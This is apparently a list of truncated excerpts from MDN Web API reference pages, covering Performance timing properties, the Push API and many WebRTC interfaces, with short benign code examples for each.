). The measure's performance entry will have the following property values: entryType - set to "measure". name - set to the "name" given when the measure was created. startTime - set to the start mark timestamp. duration - set to a DOMHighResTimeStamp that is the duration of the measure (typically, the end mark timestamp minus the start mark timestamp). Note: This feature is available in
Web Workers. Syntax performance.measure(name); performance.measure(name, startMark); performance.measure(name, startMark, endMark); performance.measure(name, undefined, endMark); Arguments name A DOMString representing the name of the measure. startMark Optional A DOMString representing the name of the measure's starting mark. May also be the name of a PerformanceTiming property. If it is o...
performance.now() - Web APIs
The returned value represents the time elapsed since the time origin. Bear in mind the following points: In dedicated workers created from a Window context, the value in the worker will be lower than performance.now() in the window who spawned that worker. It used to be the same as t0 of the main context, but this was changed. In shared or service workers, the value in the worker might be higher than that of the main context because that window can be created after those workers. ...
PerformanceResourceTiming.domainLookupEnd - Web APIs
The domainLookupEnd read-only property returns the timestamp immediately after the browser finishes the domain name lookup for the resource. If the user agent has the domain information in cache, domainLookupStart and domainLookupEnd represent the times when the user agent starts and ends the domain data retrieval from the cache. Note: This feature is available in
Web Workers. Syntax resource.domainLookupEnd; Return value A DOMHighResTimeStamp representing the time immediately after the browser finishes the domain name lookup for the resource. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.
PerformanceResourceTiming.domainLookupStart - Web APIs
Syntax resource.domainLookupStart; Return value A DOMHighResTimeStamp immediately before the browser starts the domain name lookup for the resource. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. ...
PerformanceResourceTiming.initiatorType - Web APIs
of this string is as follows: If the initiator is a Element, the property returns the element's localName. If the initiator is a CSS resource, the property returns "css". If the initiator is a XMLHttpRequest object, the property returns "xmlhttprequest". If the initiator is a PerformanceNavigationTiming object, the property returns an empty string (""). Note: This feature is available in
Web Workers. Syntax resource.initiatorType; Return value A string representing the type of resource that initiated the performance event, as specified above. Example function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.getEntriesByType("resource"); for (var i=0; i < p.length; i++) { print_initiatorType(p[i]); } } func...
PerformanceResourceTiming.nextHopProtocol - Web APIs
tocol read-only property is a string representing the network protocol used to fetch the resource, as identified by the ALPN Protocol ID (RFC7301). When a proxy is used, if a tunnel connection is established, this property returns the ALPN Protocol ID of the tunneled protocol. Otherwise, this property returns the ALPN Protocol ID of the first hop to the proxy. Note: This feature is available in
Web Workers. Syntax resource.nextHopProtocol; Return value A string representing the network protocol used to fetch the resource, as identified by the ALPN Protocol ID (RFC7301). Example The following example uses the nextHopProtocol property. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.getEntriesByType("resource");...
PerformanceResourceTiming.redirectEnd - Web APIs
When fetching a resource, if there are multiple HTTP redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned. Note: This feature is available in
Web Workers. Syntax resource.redirectEnd; Return value A timestamp immediately after receiving the last byte of the response of the last redirect. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.getEnt...
PerformanceResourceTiming.redirectStart - Web APIs
fetch which that initiates the redirect. If there are HTTP redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned. Note: This feature is available in
Web Workers. Syntax resource.redirectStart; Return value A timestamp representing the start time of the fetch which initiates the redirect. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.getEntriesByT...
PerformanceResourceTiming.requestStart - Web APIs
The requestStart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource from the server, cache, or local resource. If the transport connection fails and the browser retires the request, the value returned will be the start of the retry request. There is no end property for requestStart. Note: This feature is available in
Web Workers. Syntax resource.requestStart; Return value A DOMHighResTimeStamp representing the time immediately before the browser starts requesting the resource from the server Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = per...
PerformanceResourceTiming.responseEnd - Web APIs
Syntax resource.responseEnd; Return value A DOMHighResTimeStamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first. ...
PerformanceResourceTiming.responseStart - Web APIs
Syntax resource.responseStart; Return value A DOMHighResTimeStamp immediately after the browser receives the first byte of the response from the server. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. ...
PerformanceResourceTiming.transferSize - Web APIs
If the resource is fetched from a local cache, or if it is a cross-origin resource, this property returns zero. Syntax resource.transferSize; Return value A number representing the size (in octets) of the fetched resource. The size includes the response header fields plus the response payload body (RFC7230). ...
PerformanceResourceTiming.workerStart - Web APIs
t read-only property of the PerformanceResourceTiming interface returns a DOMHighResTimeStamp immediately before dispatching the FetchEvent if a Service Worker thread is already running, or immediately before starting the Service Worker thread if it is not already running. If the resource is not intercepted by a Service Worker the property will always return 0. Note: This feature is available in
Web Workers. Syntax resource.workerStart; Value A DOMHighResTimeStamp. Example In the following example, the value of the *Start and *End properties of all "resource" type events are logged. function print_PerformanceEntries() { // Use getEntriesByType() to just get the "resource" events var p = performance.getEntriesByType("resource"); for (var i=0; i < p.length; i++) { print_start...
PerformanceServerTiming - Web APIs
The PerformanceServerTiming interface surfaces server metrics that are sent with the response in the Server-Timing HTTP header. This interface is restricted to the same origin, but you can use the Timing-Allow-Origin header to specify the domains that are allowed to access the server metrics. Note that this interface is only available in secure contexts (HTTPS) in some browsers. Properties PerformanceServerTiming.descriptionRead only A DOMString value of the server-specified metric description, or an empty string. PerformanceServerTiming.durationRead only A double that contains the server-specified metric duration, or value 0.0. ...
Push API - Web APIs
This lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content. Push concepts and usage When implementing PushManager subscriptions, it is vitally important that you protect against CSRF/XSRF issues in your app. See the following articles for more information: Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet Preventing CSRF and XSRF Attacks For an app to receive push messages, it has to have an active service worker. ...
RTCAnswerOptions - Web APIs
its properties from the RTCOfferAnswerOptions dictionary, on which it's based. Note: At this time, RTCAnswerOptions does not have any additional properties defined beyond those included in RTCOfferAnswerOptions. However, this is likely to change in the future, so the type has been defined in preparation for that eventuality. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCAnswerOptions' in that specification. Candidate Recommendation Initial definition. ...
RTCCertificate - Web APIs
The interface of the the
WebRTC API provides an object represents a certificate that an RTCPeerConnection uses to authenticate. Properties RTCCertificate.expires Read only Returns the expiration date of the certificate. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between Browsers Candidate Recommendation Initial definition. ...
RTCConfiguration.bundlePolicy - Web APIs
mpat to maximize compatibility while attempting to optimize network use. It also specifies stun:stun.example.com as the STUN server for ICE to use during negotiation. let config = { iceServers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlePolicy: "max-compat" }; let pc = new RTCPeerConnection(config); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCConfiguration.bundlePolicy' in that specification. Candidate Recommendation Initial definition. ...
RTCConfiguration.certificates - Web APIs
tes, new ones are generated automatically. One obvious benefit to providing your own is identity key continuity--if you use the same certificate for subsequent calls, the remote peer can tell you're the same caller. This also avoids the cost of generating new keys. <<<--- add link to information about identity --->>> Examples Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCConfiguration.certificates' in that specification. Candidate Recommendation Initial definition. ...
RTCConfiguration.iceServers - Web APIs
. The first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. The second server has two URLs: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceServers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "
webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new RTCPeerConnection(configuration); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCConfiguration.iceServers' in that specification. Candida...
RTCConfiguration - Web APIs
. The first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. The second server has two URLs: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceServers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "
webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new RTCPeerConnection(configuration); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCConfiguration' in that specification. Candidate Recommen...
RTCDTMFSender.insertDTMF() - Web APIs
lower value, 30 ms will be used instead); the default is 70 ms. Return value undefined Exceptions InvalidStateError The DTMF tones couldn't be sent because the track has been stopped, or is in a read-only or inactive state. InvalidCharacterError One or more of the characters in tones is not valid DTMF. Example tbd Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFSender.insertDTMF()' in that specification. Candidate Recommendation ...
RTCDTMFSender.ontonechange - Web APIs
ameter of type RTCDTMFToneChangeEvent, which describes the change. Syntax RTCDTMFSender.ontonechange = toneChangeHandlerFunction; Value A function which is called when a tonechange event is sent to the RTCDTMFSender, indicating that a DTMF tone has either started playing, or if all tones have finished playing. Example tbd Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'ontonechange' in that specification. Candidate Recommendation ...
RTCDTMFSender.toneBuffer - Web APIs
such as "*,1,5555". In this example, we would send "*" to request access to the VM system, then, after a pause, send a "1" to start playback of voicemail messages, then after a pause, dial "5555" as a PIN number to open the messages. Settting the tone buffer to an empty string ("") cancels any pending DTMF codes. Example tbd Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFSender.toneBuffer' in that specification. Candidate Recommendation ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
y-labeled keys which are typically on the bottom row of the telephone keypad. The comma (",") This character instructs the dialing process to pause for two seconds before sending the next character in the buffer. All other characters are unrecognized and will cause insertDTMF() to throw an InvalidCharacterError exception. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFToneChangeEvent()' in that specification. Candidate Recommendation Initial definition. ...
RTCDTMFToneChangeEvent.tone - Web APIs
onechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". dtmfSender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getElementById("playingTone").innerText = tone; }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDTMFToneChangeEvent.tone' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel.bufferedAmount - Web APIs
ith the ID "bufferSize" to a string indicating the number of bytes currently buffered on an RTCDataChannel. var dc = peerConnection.createDataChannel("File Transfer"); /* ... */ function showBufferedAmount(channel) { let el = document.getElementbyId("bufferSize"); el.innerHTML = channel.bufferedAmount + " bytes"; } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.bufferedAmount' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
setting the RTCDataChannel.onbufferedamountlow property to a function which should send more data into the buffer by calling send(). var dc = peerConnection.createDataChannel("File Transfer"); dc.bufferedAmountLowThreshold = 65535; dc.onbufferedamountlow = function() { /* use send() to queue more data to be sent */ }; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCDataChannel.bufferedAmountLowThreshold' in that specification. Candidate Recommendation Initial specification. ...
RTCDataChannel: bufferedamountlow event - Web APIs
r bufferedamountlow to refill the incoming data buffer any time its contents fall below 65536 bytes. You can also set up a listener for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readFile(65536)); } } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'bufferedamountlow' in that specification. Candidate Recommendation ...
RTCIceCandidate.foundation - Web APIs
.168.0.56 44323 typ host The field "4234997325" is the foundation. Example This code snippet uses the foundation of two candidates to determine if they're actually the same candidate. if (candidate1.foundation == candidate2.foundation) { /* the two candidates are the same, even if they're on different transports */ } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.foundation' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.port - Web APIs
6 44323 typ host The port number is found in the sixth field, which is "44323". In this case, the value of port will be 44323. Example This code snippet fetches the IP address and port number of the candidate, storing them into an object for future use. var candidateLoc = { address: candidate.ip, port: candidate.port } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.port' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.priority - Web APIs
, remembers the candidate for later use. var bestCandidate = { candidate: "", sdpMid: null, sdpMLineIndex: null, priority: 0 }; function handleCandidate(candidateString) { var candidate = new RTCIceCandidate(candidateString); if (candidate.priority > bestCandidate.priority) { bestCandidate = candidate; } } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.priority' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.protocol - Web APIs
he candidate would use the UDP transport protocol. Example This code snippet examines the value of protocol to decide if it should look at the value of tcpType to see if it's a simultaneous-open (S-O) candidate. if (candidate.protocol == "tcp") { if (candidate.tcpType == "so") { adjustForSimultaneousOpen(candidate); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.protocol' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.sdpMLineIndex - Web APIs
he set of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available. Note: Attempting to add a candidate (using addIceCandidate()) that has a value of null for either sdpMid or sdpMLineIndex will throw a TypeError exception. Example ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.sdpMLineIndex' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.sdpMid - Web APIs
DOMString which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate. Note: Attempting to add a candidate (using addIceCandidate()) that has a value of null for either sdpMid or sdpMLineIndex will throw a TypeError exception. Example ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.sdpMid' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.tcpType - Web APIs
connection simultaneously with its peer. tcpType is null for UDP candidates. Example In this example, the candidate's protocol and tcpType are used to adjust the user interface for simultaneous-open TCP candidates. if (candidate.protocol == "tcp" && candidate.tcpType == "so") { adjustForSimultaneousOpen(candidate); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.tcpType' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate. toJSON() - Web APIs
values in the RTCIceCandidate object. You can then get a stringified version of the object by calling stringify() on the returned object. See the example below. Example This simple example obtains a JSON string representing an RTCIceCandidate found in the variable candidate. var jsonString = candidate.toJSON().stringify(); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.toJSON()' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate.type - Web APIs
e() to throw an OperationError exception. Example In this example, the candidate's type is used to present a modified user interface for host candidates (those where the ip refers directly to the remote peer, rather than an intermediary). if (candidate.type == "host") { showHostControls(); } else { hideHostControls(); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.type' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidateInit.sdpMLineIndex - Web APIs
et of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available. Note: Attempting to add a candidate (using addIceCandidate()) that has a value of null for either sdpMid or sdpMLineIndex will throw a TypeError exception. Example ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateInit.sdpMLineIndex' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidateInit.sdpMid - Web APIs
ing which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate. Note: Attempting to add a candidate (using addIceCandidate()) that has a value of null for either sdpMid or sdpMLineIndex will throw a TypeError exception. Example ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateInit.sdpMid' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidateInit.usernameFragment - Web APIs
ementation to decide. For example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1. Another example: it might take a user-defined string and append three 8-bit random bytes to the end. Or perhaps every character is entirely random. Example ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateInit.usernameFragment' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
candidate pair. The returned value doesn't take into account overhead introduced by underlying protocols, including IP, UDP, or TCP. Note: The returned value is computed using a method similar--but not identical--to the Transport Independent Application Specific Maximum (TIAS) described in RFC 3890: 6.2. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats.availableIncomingBitrate' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.setIdentityProvider() - Web APIs
the protocol used to communicate with the IdP. It defaults to "default" and is used to determine the URL where the IdP is listening. username Optional Is a DOMString representing the username associated with the IdP. Example var pc = new PeerConnection(); pc.setIdentityAssertion("developer.mozilla.org"); Specifications Specification Status Comment Identity for
WebRTCThe definition of 'RTCPeerConnection.setIdentityProvider()' in that specification. Candidate Recommendation ...
RTCPeerConnection: track event - Web APIs
e new track's first stream to an existing <video> element, identified using the variable videoElement. You can also assign the event handler function to the ontrack property, rather than use addEventListener(). pc.ontrack = e => { videoElement.srcObject = e.streams[0]; hangupButton.disabled = false; return false; } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'track' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnectionIceErrorEvent.address - Web APIs
then calls a function to display those as well as the event's errorText property's contents. pc.addEventListener("icecandidateerror", (event) => { let networkInfo = `[Local interface: ${event.address}:${event.port}`; let iceServerInfo = `[ICE server: ${event.url}`; showMessage(errorText, iceServerInfo, networkInfo); }); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnectionIceErrorEvent.address' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnectionIceErrorEvent - Web APIs
given in address. null if the connection hasn't been established (that is, if address is null). url Read only A DOMString indicating the URL of the STUN or TURN server with which the error occurred. Methods RTCPeerConnectionIceErrorEvent has no methods other than any provided by the parent interface, Event. Examples TBD Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnectionIceErrorEvent' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnectionIceEvent() - Web APIs
EventInit(), this Boolean option indicates whether or not the event must bubble. "cancelable" (optional, default is false, inherited from EventInit(), this Boolean indicates whether or not the event can be canceled. Return value A newly-created RTCPeerConnectionIceEvent, configured as specified in the provided options. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnectionIceEvent()' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnectionIceEvent.candidate - Web APIs
object representing the ICE candidate that has been received, or null to indicate that there are no further candidates for this negotiation session. Example pc.onicecandidate = function( ev ) { alert("The ICE candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnectionIceEvent.candidate' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnectionIceEvent - Web APIs
. Methods A RTCPeerConnectionIceEvent being an Event, this event also implements these properties. There is no specific RTCDataChannelEvent method. Examples pc.onicecandidate = function( ev ) { alert("The ICE candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnectionIceEvent' in that specification. Candidate Recommendation Initial definition. ...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
Each one represents approximately one second of time (since that's much time we're waiting between calling networkTestStart() and networkTestStop()). Try it and fork it This example is available on Glitch for you to try out, examine, or remix. You can also access it directly using Glitch's Git server. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRemoteOutboundRtpStreamStats.localId' in that specification. Candidate Recommendation Initial definition. ...
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
esent, it comes from the RTCP Sender Report (SR) block, which reflects the clock on the remote peer at the time the message was sent. Keep in mind that this means the clock may not be synchronized with the local clock, and that both the current time and the pace at which the clock runs may differ to some extent. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRemoteOutboundRtpStreamStats.remoteTimestamp' in that specification. Candidate Recommendation Initial definition. ...
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
oteOutboundRtpStreamStats.reportsSent; Value An integer value which indicates the total number of RTCP Sender Reports so far sent by the remote peer to the local peer. Usage notes Sender reports, described in RFC 3550, section 6.4.1 with an overview in RFC 3550, section 6.4, are used by RTP to share data transmission quality feedback between the two peers. The data in these reports is used by
WebRTC to fill out various fields within the statistics objects, and this property's value indicates how many times that information was shared. Examples <<<--- add an example --->>> ...
RTCRtcpParameters - Web APIs
compund RTCP is in use, as found in RFC 3550. This property cannot be changed once initialized. Examples This example obtains the canonical name (CNAME) being used for RTCP on an RTCRtpSender or RTCRtpReceiver. function getRtpCNAME(rtpObject) { let parameters = rtpObject.getParameters(); return parameters.rtcp.cname; } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtcpParameters' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpCapabilities - Web APIs
omponent is responsible for retransmission of data; it's media type should be video/rtx. There will only be one entry for RTX, and it will not have an sdpFmtpLine property. Don't be surprised to see these show up ijn the list; be prepared to ignore them if you're only interested in the actual codecs used for the media itself. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpCapabilities' in that specification. Candidate Recommendation ...
RTCRtpContributingSource.audioLevel - Web APIs
s converted to this form from the values defined in the specifications corresponding to each type of source. audioLevel may be absent from RTCRtpContributingSource objects, which indicates that no volume level was provided by the source; however, it is required and always available on all RTCRtpSynchronizationSource objects. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'audioLevel' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpSender.getStats() - Web APIs
those streams have. Example This simple example obtains the statistics for an RTCRtpSender and updates an element's innerText to display the current round trip time for requests on the sender. sender.getStats().then(function(stats) { document.getElementById("currentRTT").innerText = stats.roundTripTime; }); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSender.getStats()' in that specification. Candidate Recommendation Initial specification. ...
RTCRtpSender.track - Web APIs
terface returns the MediaStreamTrack which is being handled by the RTCRtpSender. Syntax var mediaStreamTrack = rtcRtpSender.track Value A MediaStreamTrack object representing the media associated with the RTCRtpSender. If no track is associated with the sender, this value is null, in which case the sender transmits nothing. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'track' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpSender.transport - Web APIs
shed. Note that when bundling is in effect--that is, when the RTCPeerConnection was created with an RTCConfiguration object whose bundlePolicy is max-compat or max-bundle--multiple senders may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive RTP and RTCP packets. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSender.transport' in that specification. Candidate Recommendation ...
RTCRtpSender - Web APIs
with another track, without performing renegotiation. This method can be used, for example, to toggle between the front- and rear-facing cameras on a device. Static methods RTCRtpSender.getCapabilities() Returns an RTCRtpCapabilities object describing the system's capabilities for sending a specified kind of media data. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSender' in that specification. Candidate Recommendation ...
RTCRtpStreamStats.codecId - Web APIs
d property is a string which uniquely identifies the object that was inspected to produce the data in the RTCCodecStats for the RTP stream. Syntax var codecID = RTCRtpStreamStats.codecId; Value A DOMString which uniquely identifies the object from which the contents of the stream's RTCCodecStats are derived. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats.codecId' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.firCount - Web APIs
nstead of a delta frame, so that the receiver can catch up. The higher firCount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCInboundRtpStreamStats: firCount' in that specification. Candidate Recommendation Initial definition. Identifiers for
WebRTC's Statistics APIThe definition of 'RTCOutboundRtpStreamStats: firCount' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.kind - Web APIs
tistics are given by the RTCRtpStreamStats object contains audio, or "video" if the track contains video media. This string will always be the same as the one provided by the associated MediaStreamTrack object's kind property. It will also match the statistics object's RTCCodecStats.codec property's media type. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats.kind' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.nackCount - Web APIs
ackets it sent were lost in transport. Syntax var nackCount = RTCRtpStreamStats.nackCount; Value An integer value indicating how many times the receiver sent a NACK packet to the sender after detecting that one or more packets were lost during transport. Note: This value is only available on the receiver. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCInboundRtpStreamStats: nackCount' in that specification. Candidate Recommendation Initial definition. Identifiers for
WebRTC's Statistics APIThe definition of 'RTCOutboundRtpStreamStats: nackCount' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.pliCount - Web APIs
o allow the sender to consider techniques to mitigate network performance issues. This is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream. Note: This value is only available on the receiver, and only for video media. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCInboundRtpStreamStats: pliCount' in that specification. Candidate Recommendation Initial definition. Identifiers for
WebRTC's Statistics APIThe definition of 'RTCOutboundRtpStreamStats: pliCount' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.sliCount - Web APIs
ting the number of SLI packets the sender received from the receiver due to lost runs of macroblocks. A high value of sliCount may be an indication of an unreliable network. For technical details, see RFC 4585: 6.3.2. Note: This value is sent by the sender to the receiver and is only present for video media. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCInboundRtpStreamStats: sliCount' in that specification. Candidate Recommendation Initial definition. Identifiers for
WebRTC's Statistics APIThe definition of 'RTCOutboundRtpStreamStats: sliCount' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.ssrc - Web APIs
t generates values for ssrc using MD5. While not part of the standard, exactly, it is a good mechanism that may be used by some browsers; others may use other methods, such as random number generators. Do not rely upon these values meaning anything other than "these objects are associated with the same source." Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats.ssrc' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.trackId - Web APIs
ject. Syntax var trackID = RTCRtpStreamStats.trackId; Value A DOMString which uniquely identifies the RTCMediaStreamTrackStats object that provides statistics for the track for which statistics are being collected by this RTCStatsReport. Note: This value is not the same as the value of MediaStramTrack.id. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats.trackId' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.transportId - Web APIs
ly identifies the object from which the statistics contained in the RTCTransportStats properties in the RTCStatsReport. Syntax var transportID = RTCRtpStreamStats.transportId; Value A DOMString uniquely identifying the source of the statistics contained the RTCTransportStats properties in the RTCStatsReport. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats.transportId' in that specification. Candidate Recommendation Initial definition. ...
Screen - Web APIs
Registers an event handler of a specific event type on the EventTarget. EventTarget.removeEventListener() Removes an event listener from the EventTarget. EventTarget.dispatchEvent() Dispatches an event to this EventTarget. Additional methods in Mozilla chrome codebase Mozilla includes a couple of extensions for use by JS-implemented event targets to implement onevent properties. See also
WebIDL bindings. void setEventHandler(DOMString type, EventHandler handler) EventHandler getEventHandler(DOMString type) Example if (screen.pixelDepth < 8) { // use low-color version of page } else { // use regular, colorful page } Specification Specification Status Comment CSS Object Model (CSSOM) View ModuleThe definition of 'Screen' in that specificati...
Selection.modify() - Web APIs
ic direction, you can specify "left" or "right". granularity The distance to adjust the current selection or cursor position. You can move by "character", "word", "sentence", "line", "paragraph", "lineboundary", "sentenceboundary", "paragraphboundary", or "documentboundary". Note: Gecko does not implement "sentence", "paragraph", "sentenceboundary", "paragraphboundary", or "documentboundary".
WebKit and Blink do. Note: Starting in Gecko 5.0, the "word" granularity no longer includes the following space, regardless of the default platform behavior. This makes the behavior more consistent, as well as making it work the same way
